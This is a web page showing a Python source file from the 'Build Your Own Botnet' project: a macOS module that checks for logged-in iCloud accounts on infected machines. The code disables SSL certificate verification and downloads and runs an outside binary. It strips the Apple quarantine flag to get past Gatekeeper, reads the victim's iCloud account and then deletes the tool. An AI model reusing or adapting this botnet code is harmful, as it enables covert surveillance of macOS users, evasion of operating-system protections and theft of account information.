Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
malwaredllc
GitHub Repository: malwaredllc/byob
Path: blob/master/web-gui/buildyourownbotnet/modules/icloud.py
1292 views
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
'iCloud (Build Your Own Botnet)'
4
5
# standard library
6
import os
7
import sys
8
import ssl
9
import subprocess
10
11
if sys.version_info[0] < 3:
12
from urllib import urlretrieve
13
else:
14
from urllib.request import urlretrieve
15
16
# utilities
17
import util
18
19
# globals
20
packages = []
21
platforms = ['darwin']
22
command = True
23
usage = 'icloud'
24
description = """
25
Check for logged in iCloud accounts on macOS
26
"""
27
28
# create default ssl context (workaround for python3 compatibility)
29
ssl._create_default_https_context = ssl._create_unverified_context
30
31
32
def run():
33
"""
34
Check for logged in iCloud account on macOS
35
"""
36
try:
37
filename, _ = urlretrieve("https://github.com/mas-cli/mas/releases/download/v1.4.2/mas-cli.zip")
38
util.unzip(filename)
39
mas = os.path.join(os.path.dirname(filename), 'mas')
40
subprocess.Popen(['xattr','-r','-d','com.apple.quarantine',mas], 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE)
41
os.chmod(mas, 755)
42
result = subprocess.check_output([mas, "account"]).rstrip()
43
util.delete(mas)
44
return result
45
except Exception as e:
46
return "{} error: {}".format(__name__, str(e))
47
48